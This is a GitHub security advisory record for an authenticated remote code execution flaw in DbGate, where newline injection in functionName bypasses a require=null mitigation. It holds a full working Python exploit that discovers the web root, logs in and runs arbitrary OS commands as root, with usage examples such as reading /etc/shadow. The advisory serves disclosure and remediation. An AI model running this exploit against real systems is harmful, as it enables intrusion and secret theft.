{"id":"GHSA-wm5r-5qp3-5vxf","summary":"Authenticated Remote Code Execution via loadReader functionName code injection in DbGate","details":"### Summary\n\nDbGate is vulnerable to authenticated Remote Code Execution (RCE). Any user with valid DbGate credentials can execute arbitrary OS commands as root by exploiting an unsanitized `functionName` parameter in the `/runners/load-reader` endpoint. The `require = null` mitigation is trivially bypassed via dynamic `import()`.\n\n\n\u003cbr/\u003e\n\n### Details\n\n**Code injection via `functionName` in loadReader**\n\nThe `/runners/load-reader` endpoint interpolates the `functionName` parameter directly into a dynamically generated JavaScript script template without any sanitization:\n\n```javascript\n// packages/api/src/controllers/runners.js (loadReader / loaderScriptTemplate)\nconst reader = await dbgateApi.${functionName}({...});\n```\n\nBy injecting a newline character into `functionName`, an attacker breaks out of the template expression and injects arbitrary JavaScript code. The injected code uses `await import('child_process')` to bypass the `require = null` mitigation (since `import()` is a language keyword, not a function that can be nullified), achieving arbitrary command execution as the process user (root in Docker).\n\nThe June 2025 security fix ([commit cf3f95c](https://github.com/dbgate/dbgate/commit/cf3f95c952)) added `require = null` to the generated script, but this is trivially bypassed:\n\n```javascript\n// Mitigation in generated script:\nrequire = null;\n\n// Bypass via dynamic import (language keyword, cannot be nullified):\nconst { execSync } = await import('child_process');\nexecSync('arbitrary command');\n```\n\n**Root cause:** `functionName` is user-controlled input that is interpolated into code without sanitization. The fix should validate `functionName` against an allowlist of known reader functions (e.g., `/^[a-zA-Z]+$/`) or use a lookup table instead of string interpolation.\n\n\n\n\u003cbr/\u003e\n\n### PoC\n\nThe PoC can be run against a test environment using Docker Compose:\n\n```yaml\nservices:\n  sectest-dbgate:\n    image: dbgate/dbgate:7.1.4-alpine\n    ports:\n      - \"80:3000\"\n    environment:\n      LOGINS: admin\n      LOGIN_PASSWORD_admin: SuperSecretPassword123\n      WEB_ROOT: /\n      CONNECTIONS: con1\n      LABEL_con1: MySQL\n      SERVER_con1: sectest-mysql\n      USER_con1: dbuser\n      PASSWORD_con1: dbpassword\n      PORT_con1: 3306\n      ENGINE_con1: mysql@dbgate-plugin-mysql\n\n  sectest-mysql:\n    image: mysql:8.0\n    environment:\n      MYSQL_ROOT_PASSWORD: rootpass\n      MYSQL_DATABASE: testdb\n      MYSQL_USER: dbuser\n      MYSQL_PASSWORD: dbpassword\n```\n\nPoC Script:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nDBGate — Authenticated RCE PoC\n===============================\nRoot-level command execution against auth-enabled DBGate with valid credentials.\n\n  Vulnerability — RCE via loadReader functionName code injection\n    The /runners/load-reader endpoint interpolates `functionName` directly\n    into a dynamically generated JS script without sanitization.\n    A newline in functionName breaks out of the template expression and\n    allows arbitrary code execution as root (Docker default).\n\n    The `require = null` mitigation added in June 2025 is trivially\n    bypassed via dynamic `import()` (a language keyword, not a function).\n\nAffected versions: All DbGate versions (tested on 6.1.4, 6.2.0, 7.1.4)\nFixed in:          NOT FIXED as of DbGate 7.1.4\nTested on:         dbgate/dbgate:7.1.4-alpine\n\"\"\"\n\nimport argparse\nimport json\nimport sys\nimport time\nimport uuid\nimport requests\n\nrequests.packages.urllib3.disable_warnings()\n\nCOMMON_ROOTS = [\"\", \"/dbgate\", \"/db\", \"/admin\", \"/gate\", \"/app\"]\n\n\ndef banner(host, command, user):\n    print(f\"\"\"\n  ┌─────────────────────────────────────────────────────┐\n  │  DBGate — Authenticated RCE PoC                     │\n  │  loadReader functionName code injection             │\n  │  Affects ALL versions (unpatched as of 7.1.4)       │\n  └─────────────────────────────────────────────────────┘\n  Target : {host}\n  User   : {user}\n  Command: {command}\n\"\"\")\n\n\ndef build_base(host, port=None):\n    if \"://\" not in host:\n        host = f\"http://{host}\"\n    scheme, rest = host.split(\"://\", 1)\n    rest = rest.rstrip(\"/\")\n    slash = rest.find(\"/\")\n    if slash == -1:\n        hostport, path = rest, \"\"\n    else:\n        hostport, path = rest[:slash], rest[slash:]\n    if port:\n        hostport = hostport.rsplit(\":\", 1)[0] + f\":{port}\"\n    elif \":\" not in hostport:\n        hostport += \":80\"\n    return f\"{scheme}://{hostport}\", path\n\n\ndef discover_web_root(base_host, explicit_path=\"\"):\n    if explicit_path:\n        return f\"{base_host}{explicit_path}\"\n\n    for root in COMMON_ROOTS:\n        url = f\"{base_host}{root}\"\n        try:\n            r = requests.post(f\"{url}/config/get\", json={},\n                              timeout=3, verify=False)\n            if r.status_code == 200 and \"version\" in r.text:\n                if root:\n                    print(f\"    [+] Auto-detected WEB_ROOT: {root}\")\n                return url\n        except Exception:\n            pass\n    return base_host\n\n\ndef phase1_recon(base):\n    print(\"[Phase 1] Reconnaissance\")\n    info = {}\n\n    try:\n        r = requests.post(f\"{base}/config/get\", json={}, timeout=5, verify=False)\n        if r.status_code == 200:\n            cfg = r.json()\n            info[\"config\"] = cfg\n            version = cfg.get(\"version\", \"?\")\n            print(f\"    [+] Version      : {version}\")\n            print(f\"    [+] Docker       : {cfg.get('isDocker', '?')}\")\n            print(f\"    [+] Data dir     : {cfg.get('connectionsFilePath', '?').rsplit('/', 1)[0]}\")\n    except Exception:\n        print(f\"    [!] /config/get failed\")\n\n    try:\n        r = requests.post(f\"{base}/auth/get-providers\", json={}, timeout=5, verify=False)\n        if r.status_code == 200:\n            pdata = r.json()\n            info[\"providers\"] = pdata\n            providers = pdata.get(\"providers\", [])\n            names = [p.get(\"name\", \"?\") for p in providers]\n            default = pdata.get(\"default\", \"?\")\n            print(f\"    [+] Auth         : {', '.join(names)} (default: {default})\")\n            info[\"default_amoid\"] = default\n    except Exception:\n        pass\n\n    print()\n    return info\n\n\ndef phase2_authenticate(base, info, user, password):\n    print(\"[Phase 2] Authentication\")\n\n    amoid = info.get(\"default_amoid\", \"logins\")\n\n    try:\n        r = requests.post(\n            f\"{base}/auth/login\",\n            json={\"amoid\": amoid, \"login\": user, \"password\": password},\n            timeout=5, verify=False,\n        )\n        if r.status_code == 200:\n            data = r.json()\n            token = data.get(\"accessToken\")\n            if token:\n                print(f\"    [+] Authenticated as '{user}'\")\n                print(f\"    [+] JWT obtained: {token[:50]}...\")\n                print()\n                return token\n            else:\n                error = data.get(\"error\", \"no accessToken in response\")\n                print(f\"    [-] Login failed: {error}\")\n        else:\n            print(f\"    [-] Login failed (HTTP {r.status_code})\")\n    except Exception as e:\n        print(f\"    [!] Login error: {e}\")\n\n    print()\n    return None\n\n\ndef phase3_rce(base, token, command):\n    \"\"\"\n    RCE via loadReader functionName code injection.\n\n    functionName is interpolated into a JS script template:\n        const reader = await dbgateApi.{functionName}({...});\n    A newline in functionName breaks out and injects arbitrary code.\n\n    import() bypasses the require=null mitigation (import is a keyword).\n    \"\"\"\n    print(\"[Phase 3] RCE via loadReader code injection\")\n    print(f\"    [*] Command: {command}\")\n\n    uid = uuid.uuid4().hex[:12]\n    jslout = f\"/tmp/_rce_{uid}.jsonl\"\n\n    escaped_cmd = (command\n                   .replace(\"\\\\\", \"\\\\\\\\\")\n                   .replace(\"'\", \"\\\\'\")\n                   .replace(\"`\", \"\\\\`\"))\n\n    payload_fn = (\n        \"csvReader\\n\"\n        \"var _r = (await import('child_process'))\"\n        f\".execSync('{escaped_cmd}',{{timeout:30000}})\"\n        \".toString();\\n\"\n        \"var NL = String.fromCharCode(10);\\n\"\n        \"var _hdr = JSON.stringify({__isStreamHeader:true,\"\n        \"columns:[{columnName:'out'}]});\\n\"\n        \"var _rows = _r.split(NL)\"\n        \".filter(function(l){return l.length\u003e0})\"\n        \".map(function(l){return JSON.stringify({out:l})})\"\n        \".join(NL);\\n\"\n        f\"(await import('fs')).writeFileSync('{jslout}',\"\n        \" _hdr + NL + _rows + NL);\\n\"\n        \"//\"\n    )\n\n    headers = {\n        \"Authorization\": f\"Bearer {token}\",\n        \"Content-Type\": \"application/json\",\n    }\n\n    print(f\"    [*] Injecting payload via functionName (bypasses require=null)\")\n\n    try:\n        r = requests.post(\n            f\"{base}/runners/load-reader\",\n            json={\"functionName\": payload_fn, \"props\": {}},\n            headers=headers,\n            timeout=35, verify=False,\n        )\n        print(f\"    [*] Payload sent (status {r.status_code})\")\n    except requests.exceptions.Timeout:\n        print(f\"    [*] Payload sent (timed out — command may still be running)\")\n    except requests.exceptions.ConnectionError:\n        print(f\"    [*] Payload sent (connection reset — expected for some versions)\")\n    except Exception as e:\n        print(f\"    [!] Send error: {e}\")\n        return None\n\n    print(f\"    [*] Waiting for execution...\")\n    for wait in [0.5, 1, 1.5, 2, 3, 5]:\n        time.sleep(wait)\n        try:\n            r = requests.post(\n                f\"{base}/jsldata/get-rows\",\n                json={\"jslid\": f\"file://{jslout}\", \"offset\": 0, \"limit\": 10000},\n                headers=headers,\n                timeout=5, verify=False,\n            )\n            if r.status_code == 200:\n                rows = r.json()\n                if isinstance(rows, list) and len(rows) \u003e 0:\n                    print(f\"    [+] Output captured ({len(rows)} lines)\")\n                    print()\n                    return \"\\n\".join(\n                        row.get(\"out\", \"\")\n                        for row in rows\n                        if isinstance(row, dict)\n                    )\n        except requests.exceptions.ConnectionError:\n            try:\n                time.sleep(1)\n                r = requests.post(\n                    f\"{base}/jsldata/get-rows\",\n                    json={\"jslid\": f\"file://{jslout}\", \"offset\": 0, \"limit\": 10000},\n                    headers=headers,\n                    timeout=5, verify=False,\n                )\n                if r.status_code == 200:\n                    rows = r.json()\n                    if isinstance(rows, list) and len(rows) \u003e 0:\n                        print(f\"    [+] Output captured ({len(rows)} lines, after reconnect)\")\n                        print()\n                        return \"\\n\".join(\n                            row.get(\"out\", \"\")\n                            for row in rows\n                            if isinstance(row, dict)\n                        )\n            except Exception:\n                pass\n        except Exception:\n            pass\n\n    print(f\"    [-] Could not retrieve output (command may have failed)\")\n    print()\n    return None\n\n\ndef main():\n    p = argparse.ArgumentParser(\n        add_help=False,\n        description=\"DBGate — Authenticated RCE PoC (loadReader code injection)\",\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n        epilog=(\n            \"Any authenticated DbGate user can escalate to root-level\\n\"\n            \"command execution via unsanitized functionName injection.\\n\"\n            \"This vulnerability is UNPATCHED as of DbGate 7.1.4.\\n\"\n            \"\\n\"\n            \"examples:\\n\"\n            \"  %(prog)s -t localhost -u admin -P 'password' -c 'id'\\n\"\n            \"  %(prog)s -t 10.0.0.5:3000 -u admin -P 's3cret' -c 'cat /etc/shadow'\\n\"\n            \"  %(prog)s -t target.internal/dbgate -u admin -P 'pass' -c 'env'\\n\"\n        ),\n    )\n    p.add_argument(\"-t\", \"--target\", required=True, help=\"Target host[:port]\")\n    p.add_argument(\"-u\", \"--user\", required=True, help=\"DbGate username\")\n    p.add_argument(\"-P\", \"--password\", required=True, help=\"DbGate password\")\n    p.add_argument(\"-c\", \"--command\", required=True, help=\"OS command to execute\")\n    p.add_argument(\"-p\", \"--port\", type=int, default=None, help=\"Override port\")\n\n    if len(sys.argv) == 1:\n        p.print_help()\n        sys.exit(1)\n    args = p.parse_args()\n\n    base_host, path = build_base(args.target, args.port)\n    banner(base_host, args.command, args.user)\n\n    base = discover_web_root(base_host, path)\n    print(f\"    [*] API endpoint : {base}\")\n    print()\n\n    info = phase1_recon(base)\n    if not info.get(\"config\"):\n        print(\"[!] Cannot reach target — verify host/port/web-root\")\n        sys.exit(1)\n\n    token = phase2_authenticate(base, info, args.user, args.password)\n    if not token:\n        print(\"[!] Authentication failed — check username/password\")\n        sys.exit(1)\n\n    output = phase3_rce(base, token, args.command)\n    if output is not None:\n        print(\"─\" * 60)\n        print(output.rstrip())\n        print(\"─\" * 60)\n        print()\n        print(\"[+] RCE successful: authenticated user → root command execution\")\n    else:\n        print(\"[!] No output captured (command may have failed or timed out)\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n\n\nAnd running the PoC Python script (requires valid credentials):\n\n```python\npython3 poc.py -t http://localhost -u admin -P 'SuperSecretPassword123' -c 'id'\n```\n\nTerminal output:\n\n```\n  ┌─────────────────────────────────────────────────────┐\n  │  DBGate — Authenticated RCE PoC                     │\n  │  loadReader functionName code injection             │\n  │  Affects ALL versions (unpatched as of 7.1.4)       │\n  └─────────────────────────────────────────────────────┘\n  Target : http://localhost:80\n  User   : admin\n  Command: id\n\n    [*] API endpoint : http://localhost:80\n\n[Phase 1] Reconnaissance\n    [+] Version      : 7.1.4\n    [+] Docker       : True\n    [+] Data dir     : /root/.dbgate\n    [+] Auth         : Login & Password (default: logins)\n\n[Phase 2] Authentication\n    [+] Authenticated as 'admin'\n    [+] JWT obtained: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6I...\n\n[Phase 3] RCE via loadReader code injection\n    [*] Command: id\n    [*] Injecting payload via functionName (bypasses require=null)\n    [*] Payload sent (status 500)\n    [*] Waiting for execution...\n    [+] Output captured (1 lines)\n\n────────────────────────────────────────────────────────────\nuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n────────────────────────────────────────────────────────────\n\n[+] RCE successful: authenticated user → root command execution\n```\n\n\u003cbr/\u003e\n\n### Impact\n\n- **Privilege escalation to root** — an authenticated DbGate user escalates from web UI access to a root OS shell inside the container\n- **Infrastructure secret theft** — `/proc/1/environ` exposes all container environment variables, which may include API keys, cloud tokens, and secrets beyond database credentials that are not visible through the DbGate UI\n- **Other users' credentials** — extracts `LOGIN_PASSWORD_*` env vars for all DbGate users, enabling password-reuse attacks against other systems\n- **Network pivot** — from inside the container, the attacker can scan and reach other services on the network that are not exposed externally\n- **Persistent backdoor** — root access allows modifying the DbGate application itself (e.g. `bundle.js`), installing cron jobs, or adding SSH keys — the backdoor survives credential rotation and DbGate restarts","aliases":["CVE-2026-47670"],"modified":"2026-06-05T16:56:28.397382Z","published":"2026-06-05T16:30:59Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-77","CWE-78"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-06-05T16:30:59Z"},"references":[{"type":"WEB","url":"https://github.com/dbgate/dbgate/security/advisories/GHSA-wm5r-5qp3-5vxf"},{"type":"PACKAGE","url":"https://github.com/dbgate/dbgate"},{"type":"WEB","url":"https://github.com/dbgate/dbgate/releases/tag/v7.1.9"}],"affected":[{"package":{"name":"dbgate-api","ecosystem":"npm","purl":"pkg:npm/dbgate-api"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.1.9"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 7.1.8","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-wm5r-5qp3-5vxf/GHSA-wm5r-5qp3-5vxf.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}]}